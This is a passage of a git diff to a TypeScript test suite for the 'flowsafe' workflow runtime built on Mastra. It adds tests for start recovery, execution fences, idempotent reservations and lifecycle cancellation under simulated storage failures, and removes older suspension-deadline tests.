+            Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, {
+              value: other.capability,
+            });
+            return true;
+          },
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('failed');
+      expect(await other.row()).toBeNull();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(own).toHaveBeenCalledOnce();
+      expect(foreign).not.toHaveBeenCalled();
+      expect(result).toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed' },
+      });
+    } finally {
+      f.close();
+      other.close();
+    }
+  });
 
-    await expect(
-      before.resume('terminal-repair', started.runId, {
-        step: 'gate',
-        resumeData: { approved: true },
-        requestedBy: 'reviewer-1',
-        requestedByKind: 'human',
-      }),
-    ).resolves.toMatchObject({
-      status: 'success',
-      requestedBy: 'reviewer-1',
-    });
+  it.each([
+    'unmarked',
+    'resumed',
+    'different-H',
+    'conflict',
+  ] as const)('R10 keeps uncertain initial %s nonreplayable', async (mode) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      assert(f.capability);
+      const snapshot = await f.row();
+      assert(snapshot);
+      const provenance = snapshot.requestContext?.['flowsafe.runProvenance'];
+      assert(provenance);
+      if (mode === 'unmarked') delete provenance.initialAdmission;
+      if (mode === 'resumed') provenance.resumeCounts = [['gate', 1]];
+      if (mode === 'different-H') provenance.attemptToken = 'other';
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      if (mode === 'conflict')
+        f.capability.terminalizeInitialAdmission = async () => ({
+          kind: 'conflict',
+        });
+      const before = await f.row();
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: claim,
+          isOwnerQuiescent: () => true,
+        })
+        .catch((error) => error);
+      expect(await f.row()).toEqual(before);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(
+        mode === 'conflict'
+          ? ExecutionFenceUnreadableError
+          : RunStartPendingError,
+      );
+    } finally {
+      f.close();
+    }
+  });
 
-    const workflows = await storage.getStore('workflows');
-    const snapshot = await workflows?.loadWorkflowSnapshot({
-      workflowName: 'terminal-repair',
-      runId: started.runId,
-    });
-    expect(snapshot?.requestContext).toMatchObject({
-      'test.a': 'resume-a',
-      'test.b': 'start-b',
-      'flowsafe.runProvenance': expect.objectContaining({
-        requestedBy: 'reviewer-1',
-      }),
-    });
+  it('R09 blocks keyed terminal recovery when exact settlement fails and retries that settlement', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      const settle = vi
+        .spyOn(f.reservations, 'settleExecution')
+        .mockRejectedValueOnce(new Error('settle unavailable'));
+      const refused = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: claim,
+          isOwnerQuiescent: () => true,
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('failed');
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(refused).toBeInstanceOf(ExecutionFenceUnreadableError);
+      await expect(
+        f.runtime.recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: claim,
+          isOwnerQuiescent: () => true,
+        }),
+      ).resolves.toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed' },
+      });
+      expect(settle).toHaveBeenCalledTimes(2);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'terminal',
+      );
+    } finally {
+      f.close();
+    }
+  });
 
-    const after = buildTerminalRepair(storage, requestContextForRun);
-    await expect(
-      after.status('terminal-repair', started.runId),
-    ).resolves.toMatchObject({
-      status: 'success',
-      requestedBy: 'reviewer-1',
-    });
+  it.each([
+    'wrong-owner',
+    'wrong-target',
+    'missing-store',
+  ] as const)('R09 refuses keyed recovery with %s authority', async (mode) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      const runtime =
+        mode === 'missing-store'
+          ? init(
+              { storage: f.storage },
+              { executionFence: f.fence, startIdempotency: 'none' },
+            ).runtime
+          : f.runtime;
+      if (runtime !== f.runtime) runtime.register(f.workflow);
+      const original =
+        mode === 'wrong-owner'
+          ? { ...claim, owner: { kind: 'human' as const, id: 'other' } }
+          : mode === 'wrong-target'
+            ? { ...claim, targetId: 'other' }
+            : claim;
+      const before = await f.row();
+      const result = await runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: original,
+          isOwnerQuiescent: () => true,
+        })
+        .catch((error) => error);
+      expect(await f.row()).toEqual(before);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
-  it('returns the committed terminal summary when repair acknowledgement is lost', async () => {
-    const storage = new InMemoryStore();
-    const runtime = buildTerminalRepair(storage);
-    const started = await runtime.start('terminal-repair', {
-      runId: 'terminal-lost-ack',
-      inputData: {},
-      requestedBy: 'operator-1',
-      requestedByKind: 'human',
-    });
-    const workflows = await storage.getStore('workflows');
-    if (!workflows) throw new Error('workflows store missing');
-    const persist = workflows.persistWorkflowSnapshot.bind(workflows);
-    let loseAcknowledgement = true;
-    vi.spyOn(workflows, 'persistWorkflowSnapshot').mockImplementation(
-      async (input) => {
-        await persist(input);
-        if (loseAcknowledgement && input.snapshot.status === 'success') {
-          loseAcknowledgement = false;
-          throw new Error('terminal persist acknowledgement lost');
-        }
-      },
+  it.each([
+    'provider',
+    'preparation',
+    'create',
+    'fence-wait',
+  ] as const)('R12 retains the originally admitted proof S through the %s wait', async (phase) => {
+    const entered = cDeferred(),
+      release = cDeferred();
+    let resumePhase = false;
+    const f = await d3RuntimeFixture(
+      'fenced',
+      phase === 'provider'
+        ? async () => {
+            if (resumePhase) {
+              entered.resolve();
+              await release.promise;
+            }
+            return {};
+          }
+        : undefined,
     );
-
-    await expect(
-      runtime.resume('terminal-repair', started.runId, {
-        step: 'gate',
-        resumeData: { approved: true },
-        requestedBy: 'reviewer-1',
-        requestedByKind: 'human',
-      }),
-    ).resolves.toMatchObject({
-      status: 'success',
-      requestedBy: 'reviewer-1',
-    });
-    expect(loseAcknowledgement).toBe(false);
+    let pending: Promise<RunSummary> | undefined;
+    try {
+      const claim = await f.claim();
+      await f.fence.transition({
+        expected: 'open',
+        next: 'proof-only',
+        proofKey: claim.key,
+      });
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+        idempotencyKey: claim.key,
+        startReservation: claim,
+      });
+      const before = await f.row();
+      assert(before);
+      resumePhase = true;
+      if (phase === 'create') {
+        const create = f.workflow.createRun.bind(f.workflow);
+        vi.spyOn(f.workflow, 'createRun').mockImplementation(
+          async (...args) => {
+            const run = await create(...args);
+            entered.resolve();
+            await release.promise;
+            return run;
+          },
+        );
+      }
+      if (phase === 'fence-wait') {
+        const read = f.fence.read.bind(f.fence);
+        let count = 0;
+        vi.spyOn(f.fence, 'read').mockImplementation(async () => {
+          const result = await read();
+          if (++count === 2) {
+            entered.resolve();
+            await release.promise;
+          }
+          return result;
+        });
+      }
+      pending = f.runtime.resume(f.workflow.id, 'd3-run', {
+        resumeData: { go: true },
+        prepareExecution:
+          phase === 'preparation'
+            ? async () => {
+                entered.resolve();
+                await release.promise;
+              }
+            : undefined,
+      });
+      void pending.catch(() => undefined);
+      await entered.promise;
+      assert(before.requestContext);
+      before.requestContext['flowsafe.runProvenance'].startToken = 'S2';
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot: before,
+      });
+      release.resolve();
+      const result = await pending.catch((error) => error);
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken,
+      ).toBe('S2');
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      release.resolve();
+      await pending?.catch(() => undefined);
+      f.close();
+    }
   });
 });
 
-// A step arms a per-suspension deadline through Mastra's own suspend payload,
-// so these tests exercise the whole author-facing contract at the runtime level:
-// what the summary carries back, and what a Mastra suspendSchema does to the
-// reserved key on the way through.
-describe('per-suspension deadline contract', () => {
-  const SUSPENSION_DEADLINE_MS = 900_000;
+describe('FS8 D3 Runtime activation', () => {
+  it.each([
+    'cancelled',
+    'timed_out',
+  ] as const)('R10 recovers saved %s intent as a lifecycle descriptor and preserves completed cleanup', async (status) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      const snapshot = await f.row();
+      assert(snapshot?.requestContext);
+      snapshot.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: 1,
+        transitionIntent: {
+          status,
+          requestedAt: 1,
+          replayPrincipals: [{ kind: 'service', id: 'source-owner' }],
+        },
+      };
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      const result = await f.runtime.recoverStartAttempt(execution, {
+        attemptToken: 'H',
+        startReservation: claim,
+        isOwnerQuiescent: () => true,
+      });
+      expect((await f.row())?.status).toBe(status);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'terminal',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toMatchObject({
+        kind: 'lifecycle',
+        transition: {
+          transitioned: true,
+          casMatched: true,
+          summary: { status },
+          cleanup: { cleanupCompleted: false, status },
+        },
+      });
+      assert(result?.kind === 'lifecycle');
+      await f.runtime.completeTerminalCleanup(
+        f.workflow.id,
+        'd3-run',
+        result.transition.cleanup.revision,
+      );
+      await expect(
+        f.runtime.recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: claim,
+          isOwnerQuiescent: () => true,
+        }),
+      ).resolves.toMatchObject({
+        kind: 'lifecycle',
+        transition: {
+          transitioned: false,
+          cleanup: { cleanupCompleted: true },
+        },
+      });
+    } finally {
+      f.close();
+    }
+  });
 
-  function timedGateRuntime(
-    id: string,
-    suspendSchema?: z.ZodType,
-    resumeSchema?: z.ZodType,
-  ): {
-    runtime: RunnerRuntime;
-    storage: InMemoryStore;
-    workflow: { getWorkflowRunById: (runId: string) => Promise<unknown> };
-    start: () => Promise<RunSummary>;
-  } {
-    const storage = new InMemoryStore();
-    const { createWorkflow, createStep, runtime } = init(
-      { storage },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    // Built as a value so the reserved key survives a suspendSchema that does
-    // not declare it — which is exactly what the stripping test measures.
-    const suspendPayload: Record<string, unknown> = {
-      reason: 'awaiting signal',
-      [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
-    };
-    const gate = createStep({
-      id: 'gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-      ...(suspendSchema ? { suspendSchema } : {}),
-      ...(resumeSchema ? { resumeSchema } : {}),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData
-          ? {
-              settledBy: isSuspensionTimeoutResumeData(resumeData)
-                ? 'timeout'
-                : 'signal',
-            }
-          : suspend(suspendPayload),
-    });
-    const workflow = createWorkflow({
-      id,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-    })
-      .then(gate)
-      .commit();
-    return {
-      runtime,
-      storage,
-      workflow,
-      start: () =>
-        runtime.start(id, { runId: crypto.randomUUID(), inputData: {} }),
-    };
-  }
+  it('R10 preserves a raw pending row with terminal-looking metadata on public status reads', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      await d3PreparedPending(f);
+      const snapshot = await f.row();
+      assert(snapshot?.requestContext);
+      snapshot.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: 1,
+        terminal: {
+          status: 'cancelled',
+          transitionedAt: 1,
+          error: { code: 'CANCELLED', message: 'run was cancelled' },
+          replayPrincipals: [{ kind: 'human', id: 'owner' }],
+        },
+      };
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      const before = await f.row();
+      for (const method of ['status', 'authoritativeStatus'] as const)
+        await expect(
+          f.runtime[method](f.workflow.id, 'd3-run'),
+        ).rejects.toBeInstanceOf(RunStartPendingError);
+      const observation = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      expect(await f.row()).toEqual(before);
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(observation).toMatchObject({ kind: 'initial' });
+      expect(observation).not.toHaveProperty('summary');
+    } finally {
+      f.close();
+    }
+  });
 
-  /**
-   * Blind the workflows store's row read — the exact seam Mastra falls back
-   * from — and hand back the restore. Deliberately NOT the Workflow method:
-   * stubbing that would FABRICATE the fallback, and what is under test is that
-   * Mastra produces it and stamps it. File-local rather than shared: the DO
-   * suite needs the same seam and keeping each copy beside the fixtures it
-   * serves is cheaper than a new shared module for eight lines.
-   */
-  async function blindWorkflowRow(storage: InMemoryStore): Promise<() => void> {
-    const store = (await storage.getStore('workflows')) as unknown as {
-      getWorkflowRunById: (args: unknown) => Promise<unknown>;
-    };
-    const original = store.getWorkflowRunById;
-    store.getWorkflowRunById = async () => null;
-    return () => {
-      store.getWorkflowRunById = original;
-    };
-  }
+  it('R13 permits capable no-fence initial pending omission followed by a real nonpending result', async () => {
+    const f = await d3RuntimeFixture('prefixed');
+    try {
+      f.workflow.options.shouldPersistSnapshot = ({ workflowStatus }) =>
+        workflowStatus !== 'pending';
+      const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot');
+      await expect(
+        f.runtime.start(f.workflow.id, f.options()),
+      ).resolves.toMatchObject({ status: 'success' });
+      expect((await f.row())?.status).toBe('success');
+      expect(
+        persist.mock.calls.some(
+          ([input]) => input.snapshot.status === 'pending',
+        ),
+      ).toBe(false);
+      expect(f.effects).toHaveBeenCalledOnce();
+    } finally {
+      f.close();
+    }
+  });
+});
 
-  it('lets the resumed step tell a timeout from a real signal', async () => {
-    const { runtime, start } = timedGateRuntime('timed-gate');
-    const started = await start();
+describe('FS8 D3 Runtime activation', () => {
+  it.each([
+    'start',
+    'resume',
+  ] as const)('R13 does not replace a selected pending normal %s observation with a later readable result', async (leg) => {
+    const f = await d3RuntimeFixture();
+    try {
+      if (leg === 'resume')
+        await f.runtime.start(f.workflow.id, {
+          ...f.options(),
+          inputData: { suspend: true },
+        });
+      assert(f.capability);
+      const read = f.capability.readSnapshot;
+      const selected = vi
+        .spyOn(f.capability, 'readSnapshot')
+        .mockImplementationOnce(async (address) => {
+          const row = await read(address);
+          assert(row);
+          const snapshot = JSON.parse(row.snapshot);
+          snapshot.status = 'pending';
+          return { ...row, snapshot: JSON.stringify(snapshot) };
+        });
+      const result = await (leg === 'start'
+        ? f.runtime.start(f.workflow.id, f.options())
+        : f.runtime.resume(f.workflow.id, 'd3-run', {
+            resumeData: { go: true },
+          })
+      ).catch((error) => error);
+      expect((await f.row())?.status).toBe('success');
+      expect(f.effects).toHaveBeenCalledTimes(leg === 'start' ? 1 : 2);
+      expect(selected).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStartPendingError);
+    } finally {
+      f.close();
+    }
+  });
+});
 
-    // #then — the summary carries everything the deadline is derived from
-    const { entries, rejected } = suspensionDeadlinesOf(started);
-    expect(rejected).toEqual([]);
-    expect(entries[0]).toEqual({
-      step: 'gate',
-      deadlineAt:
-        (started.suspendedAt?.gate as number) + SUSPENSION_DEADLINE_MS,
-      suspendedAt: started.suspendedAt?.gate,
-      resumeCount: 0,
-    });
+describe('FS8 D3 Runtime activation', () => {
+  it.each([
+    'skip',
+    'swallow',
+    'reject',
+    'response-loss',
+  ] as const)('R03 prevents unwitnessed engine entry and preserves response-loss evidence: %s', async (mode) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const claim = await f.claim();
+      assert(f.capability);
+      if (mode === 'skip')
+        f.workflow.options.shouldPersistSnapshot = () => false;
+      if (mode === 'swallow')
+        vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockResolvedValueOnce(
+          undefined,
+        );
+      if (mode === 'reject')
+        vi.spyOn(f.capability.database, 'batch').mockRejectedValueOnce(
+          new Error('initial SQL unavailable'),
+        );
+      if (mode === 'response-loss') {
+        const batch = f.capability.database.batch.bind(f.capability.database);
+        vi.spyOn(f.capability.database, 'batch').mockImplementationOnce(
+          async (statements) => {
+            await batch(statements);
+            throw new Error('lost SQL response');
+          },
+        );
+      }
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status ?? null).toBe(
+        mode === 'response-loss' ? 'success' : null,
+      );
+      expect(f.effects).toHaveBeenCalledTimes(mode === 'response-loss' ? 1 : 0);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        mode === 'response-loss' ? 'terminal' : 'started',
+      );
+      if (mode === 'response-loss')
+        expect(result).toMatchObject({ status: 'success' });
+      else expect(result).toBeInstanceOf(Error);
+    } finally {
+      f.close();
+    }
+  });
 
-    // #when — the deadline elapses and flowsafe resumes the run itself
-    const timedOut = await runtime.resume('timed-gate', started.runId, {
-      step: ['gate'],
-      resumeData: suspensionTimeoutResumeData(
-        entries[0] as SuspensionDeadlineEntry,
-        Date.now(),
-      ),
-      requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
-      requestedByKind: 'system',
-    });
+  it('R03 preserves a replacement cache and tokenless row after its own no-insert refusal', async () => {
+    const f = await d3RuntimeFixture(),
+      other = await d3RuntimeFixture('prefixed');
+    try {
+      const replacement = await other.workflow.createRun({ runId: 'd3-run' });
+      assert(f.capability);
+      const native = f.capability.withInitialAdmission;
+      f.capability.withInitialAdmission = async (input, create) => {
+        try {
+          return await native(input, create);
+        } catch (error) {
+          const tokenless = await other.row();
+          assert(tokenless);
+          await f.workflows.persistWorkflowSnapshot({
+            workflowName: f.workflow.id,
+            runId: 'd3-run',
+            snapshot: tokenless,
+          });
+          f.workflow.runs.set('d3-run', replacement);
+          throw error;
+        }
+      };
+      const claim = await f.claim();
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+          onPreparedStartIdentity: async () => {
+            await f.fence.transition({ expected: 'open', next: 'draining' });
+          },
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect((await f.row())?.requestContext).toBeUndefined();
+      expect(f.workflow.runs.get('d3-run')).toBe(replacement);
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(Error);
+    } finally {
+      f.close();
+      other.close();
+    }
+  });
 
-    expect(timedOut).toMatchObject({
-      status: 'success',
-      result: { settledBy: 'timeout' },
-      requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
-      requestedByKind: 'system',
-    });
+  it('R04 installs the frame before the existence read and keeps it during result recovery', async () => {
+    const entered = cDeferred(),
+      release = cDeferred(),
+      reading = cDeferred(),
+      readRelease = cDeferred();
+    const f = await d3RuntimeFixture();
+    let pending: Promise<RunSummary> | undefined;
+    try {
+      const existing = f.workflow.getWorkflowRunById.bind(f.workflow);
+      vi.spyOn(f.workflow, 'getWorkflowRunById').mockImplementationOnce(
+        async (...args) => {
+          entered.resolve();
+          await release.promise;
+          return existing(...args);
+        },
+      );
+      const create = f.workflow.createRun.bind(f.workflow);
+      vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => {
+        const run = await create(...args),
+          start = run.start.bind(run);
+        vi.spyOn(run, 'start').mockImplementation(async (...input) => {
+          await start(...input);
+          throw new Error('lost engine result');
+        });
+        return run;
+      });
+      assert(f.capability);
+      const read = f.capability.readSnapshot;
+      f.capability.readSnapshot = async (address) => {
+        reading.resolve();
+        await readRelease.promise;
+        return read(address);
+      };
+      pending = f.runtime.start(f.workflow.id, f.options());
+      await entered.promise;
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true);
+      release.resolve();
+      await reading.promise;
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true);
+      readRelease.resolve();
+      await expect(pending).resolves.toMatchObject({ status: 'success' });
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+    } finally {
+      release.resolve();
+      readRelease.resolve();
+      await pending?.catch(() => undefined);
+      f.close();
+    }
+  });
 
-    // #when — the same step reached by a genuine signal instead
-    const signalled = await start();
-    const resumed = await runtime.resume('timed-gate', signalled.runId, {
-      step: ['gate'],
-      resumeData: { approvedBy: 'bob' },
-      requestedBy: 'reviewer-1',
-      requestedByKind: 'human',
-    });
+  it('R12 refuses a replacement after early proof selection before invoking the resume provider', async () => {
+    const provider = vi.fn(() => ({}));
+    const f = await d3RuntimeFixture('fenced', provider);
+    try {
+      const claim = await f.claim();
+      await f.fence.transition({
+        expected: 'open',
+        next: 'proof-only',
+        proofKey: claim.key,
+      });
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+        startReservation: claim,
+        idempotencyKey: claim.key,
+      });
+      provider.mockClear();
+      assert(f.capability);
+      const read = f.capability.readSnapshot;
+      vi.spyOn(f.capability, 'readSnapshot').mockImplementationOnce(
+        async (address) => {
+          const original = await read(address);
+          const snapshot = await f.row();
+          assert(snapshot?.requestContext);
+          snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2';
+          await f.workflows.persistWorkflowSnapshot({
+            workflowName: f.workflow.id,
+            runId: 'd3-run',
+            snapshot,
+          });
+          return original;
+        },
+      );
+      const result = await f.runtime
+        .resume(f.workflow.id, 'd3-run', { resumeData: { go: true } })
+        .catch((error) => error);
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken,
+      ).toBe('S2');
+      expect(provider).not.toHaveBeenCalled();
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
+});
+
+describe('FS8 D3 Runtime activation', () => {
+  it('R09 keeps lifecycle terminal persistence and settlement on the selected source across load replacement', async () => {
+    const f = await d3RuntimeFixture(),
+      other = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+      });
+      await other.runtime.start(other.workflow.id, {
+        ...other.options(),
+        inputData: { suspend: true },
+      });
+      const foreignBefore = await other.row();
+      const load = f.workflows.loadWorkflowSnapshot.bind(f.workflows);
+      vi.spyOn(f.workflows, 'loadWorkflowSnapshot').mockImplementationOnce(
+        async (input) => {
+          const selected = await load(input);
+          vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue(
+            new Mastra({ storage: other.storage, logger: false }),
+          );
+          return selected;
+        },
+      );
+      const result = await f.runtime.terminate(f.workflow.id, 'd3-run');
+      expect((await f.row())?.status).toBe('cancelled');
+      expect(await other.row()).toEqual(foreignBefore);
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result.summary.status).toBe('cancelled');
+    } finally {
+      f.close();
+      other.close();
+    }
+  });
+});
 
-    expect(resumed).toMatchObject({
-      status: 'success',
-      result: { settledBy: 'signal' },
-      requestedBy: 'reviewer-1',
-    });
+describe('FS8 D3 Runtime activation', () => {
+  it('R13 refuses a Core pending result after a real positive initial admission witness', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const claim = await f.claim();
+      const create = f.workflow.createRun.bind(f.workflow);
+      const starts = vi.fn();
+      vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => {
+        const run = await create(...args);
+        vi.spyOn(run, 'start').mockImplementation(async () => {
+          starts();
+          return { status: 'pending' } as never;
+        });
+        return run;
+      });
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .initialAdmission,
+      ).toBe(true);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(starts).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStartPendingError);
+    } finally {
+      f.close();
+    }
   });
 
-  it('pins Mastra stripping the reserved key from an undeclared suspendSchema', async () => {
-    // Tripwire on the documented authoring caveat: Mastra validates the suspend
-    // payload and SUBSTITUTES the parsed output, so a z.object() that does not
-    // declare the reserved field drops it and nothing arms. If a Mastra upgrade
-    // changes that, this fails instead of the caveat going silently stale.
-    const { start } = timedGateRuntime(
-      'stripped-gate',
-      z.object({ reason: z.string() }),
-    );
+  it.each([
+    'fenced',
+    'prefixed',
+    'custom',
+  ] as const)('R07 permits missing-provenance terminal repair only for no-fence %s execution', async (mode) => {
+    const f = await d3RuntimeFixture(mode);
+    try {
+      const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+      let stripped = false;
+      vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+        async (input) => {
+          if (input.snapshot.status === 'success' && !stripped) {
+            stripped = true;
+            const snapshot = structuredClone(input.snapshot);
+            delete snapshot.requestContext;
+            return persist({ ...input, snapshot });
+          }
+          return persist(input);
+        },
+      );
+      const result = await f.runtime
+        .start(f.workflow.id, f.options())
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('success');
+      expect(f.effects).toHaveBeenCalledOnce();
+      if (mode === 'fenced') {
+        expect((await f.row())?.requestContext).toBeUndefined();
+        expect(result).toBeInstanceOf(RunStateUnreadableError);
+      } else {
+        expect(
+          (await f.row())?.requestContext?.['flowsafe.runProvenance'].version,
+        ).toBe(2);
+        expect(result).toMatchObject({ status: 'success' });
+      }
+    } finally {
+      f.close();
+    }
+  });
+});
 
-    const started = await start();
+describe('FS8 D3 Runtime activation', () => {
+  it('R04 invokes the engine synchronously before a cancellation queued during initial persistence enters the lifecycle lock', async () => {
+    const f = await d3RuntimeFixture();
+    let cancellation: Promise<unknown> | undefined;
+    let engineEntered = false;
+    let readBeforeEngine = false;
+    try {
+      const load = f.workflows.loadWorkflowSnapshot.bind(f.workflows);
+      vi.spyOn(f.workflows, 'loadWorkflowSnapshot').mockImplementation(
+        async (input) => {
+          if (cancellation && !engineEntered) readBeforeEngine = true;
+          return load(input);
+        },
+      );
+      const create = f.workflow.createRun.bind(f.workflow);
+      vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => {
+        const run = await create(...args),
+          start = run.start.bind(run);
+        vi.spyOn(run, 'start').mockImplementation((...input) => {
+          engineEntered = true;
+          return start(...input);
+        });
+        return run;
+      });
+      assert(f.capability);
+      const admit = f.capability.withInitialAdmission;
+      f.capability.withInitialAdmission = (input, createRun) =>
+        admit(
+          {
+            ...input,
+            onInitialWriteAttempt: () => {
+              input.onInitialWriteAttempt();
+              cancellation = f.runtime
+                .cancelActiveExecution(f.workflow.id, 'd3-run', 'cancelled', [
+                  { kind: 'human', id: 'owner' },
+                ])
+                .catch((error) => error);
+            },
+          },
+          createRun,
+        );
+      await f.runtime.start(f.workflow.id, f.options()).catch((error) => error);
+      await cancellation;
+      expect(readBeforeEngine).toBe(false);
+      expect(engineEntered).toBe(true);
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].version,
+      ).toBe(2);
+    } finally {
+      await cancellation;
+      f.close();
+    }
+  });
+});
 
-    const payload = (started.suspendPayload as Record<string, unknown>).gate;
-    expect(payload).toEqual({ reason: 'awaiting signal' });
-    expect(suspensionDeadlinesOf(started).entries).toEqual([]);
+describe('FS8 D3 Runtime activation', () => {
+  it.each([
+    'cancel',
+    'terminate',
+    'cleanup',
+    'resume',
+    'repair',
+  ] as const)('R09 preserves the selected row when its internal run id contradicts the %s address', async (operation) => {
+    const f = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+      });
+      let cleanupRevision = 1;
+      if (operation === 'cleanup')
+        cleanupRevision = (await f.runtime.terminate(f.workflow.id, 'd3-run'))
+          .cleanup.revision;
+      if (operation === 'repair') {
+        const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+        vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+          (input) =>
+            persist({
+              ...input,
+              snapshot: {
+                ...input.snapshot,
+                runId: 'foreign-run',
+                ...(input.snapshot.status === 'success'
+                  ? { status: 'pending' as const }
+                  : {}),
+              },
+            }),
+        );
+      } else {
+        const snapshot = await f.row();
+        assert(snapshot);
+        snapshot.runId = 'foreign-run';
+        await f.workflows.persistWorkflowSnapshot({
+          workflowName: f.workflow.id,
+          runId: 'd3-run',
+          snapshot,
+        });
+      }
+      const before = await f.row();
+      const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot');
+      persist.mockClear();
+      const pending =
+        operation === 'cancel'
+          ? f.runtime.cancelActiveExecution(
+              f.workflow.id,
+              'd3-run',
+              'cancelled',
+              [{ kind: 'human', id: 'owner' }],
+            )
+          : operation === 'terminate'
+            ? f.runtime.terminate(f.workflow.id, 'd3-run')
+            : operation === 'cleanup'
+              ? f.runtime.completeTerminalCleanup(
+                  f.workflow.id,
+                  'd3-run',
+                  cleanupRevision,
+                )
+              : f.runtime.resume(f.workflow.id, 'd3-run', {
+                  resumeData: { go: true },
+                });
+      const result = await pending.catch((error) => error);
+      if (operation !== 'repair') {
